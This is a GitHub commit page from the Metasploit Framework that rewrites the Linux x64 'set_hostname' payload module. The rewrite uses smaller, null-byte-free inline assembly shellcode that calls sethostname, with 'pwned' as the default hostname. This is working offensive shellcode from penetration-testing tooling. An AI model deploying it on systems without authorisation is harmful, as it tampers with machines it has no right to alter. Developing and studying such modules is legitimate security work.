Skip to content

Commit 4e27e2f

Browse files
authored
Merge pull request #1 from msutovsky-r7/collab/payload/set_hostname_linux_x64
Rewrites shellcode to smaller size, rubocopes
2 parents 539514b + b1de0c6 commit 4e27e2f

File tree

1 file changed

+28
-24
lines changed

1 file changed

+28
-24
lines changed

modules/payloads/singles/linux/x64/set_hostname.rb

Lines changed: 28 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -3,55 +3,59 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
module MetasploitModule
6+
module MetasploitModule
7+
CachedSize = 33
78

8-
CachedSize = 28
9-
109
include Msf::Payload::Single
1110
include Msf::Payload::Linux
1211

1312
def initialize(info = {})
14-
super(update_info(info,
15-
'Name' => 'Linux Set Hostname',
16-
'Description' => 'Sets the hostname of the machine.',
17-
'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>',
18-
'License' => MSF_LICENSE,
19-
'Platform' => 'linux',
20-
'Arch' => ARCH_X64,
21-
'Privileged' => true
22-
))
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Linux Set Hostname',
17+
'Description' => 'Sets the hostname of the machine.',
18+
'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>',
19+
'License' => MSF_LICENSE,
20+
'Platform' => 'linux',
21+
'Arch' => ARCH_X64,
22+
'Privileged' => true
23+
)
24+
)
2325

2426
register_options(
2527
[
26-
OptString.new('HOSTNAME', [true, 'The hostname to set.','pwned'])
27-
])
28+
OptString.new('HOSTNAME', [true, 'The hostname to set.', 'pwned'])
29+
]
30+
)
2831
end
2932

3033
def generate(_opts = {})
3134
hostname = (datastore['HOSTNAME'] || 'pwned').gsub(/\s+/, '') # remove all whitespace from hostname.
3235
length = hostname.length
3336
if length > 0xff
34-
fail_with(Msf::Module::Failure::BadConfig, "HOSTNAME must be less than 255 characters.")
37+
fail_with(Msf::Module::Failure::BadConfig, 'HOSTNAME must be less than 255 characters.')
3538
end
3639

37-
payload = %Q^
38-
xor rax, rax
39-
xor rsi, rsi
40-
push rax ; push the null byte of the hostname string to stack.
41-
mov al, 170 ; sethostname() syscall number.
40+
payload = %^
41+
push 0xffffffffffffff56 ; sethostname() syscall number.
42+
pop rax
43+
neg rax
4244
jmp str
4345
4446
end:
45-
mov sil, #{length}
47+
push #{length}
48+
pop rsi
4649
pop rdi ; rdi points to the hostname string.
50+
xor byte [rdi+rsi], 0x41
4751
syscall
4852
ret ; break the loop by causing segfault.
4953
5054
str:
5155
call end
52-
db "#{hostname}"
56+
db "#{hostname}A"
5357
^
5458

55-
Metasm::Shellcode.assemble(Metasm::X64.new,payload).encode_string
59+
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
5660
end
57-
end
61+
end

0 commit comments

Comments
 (0)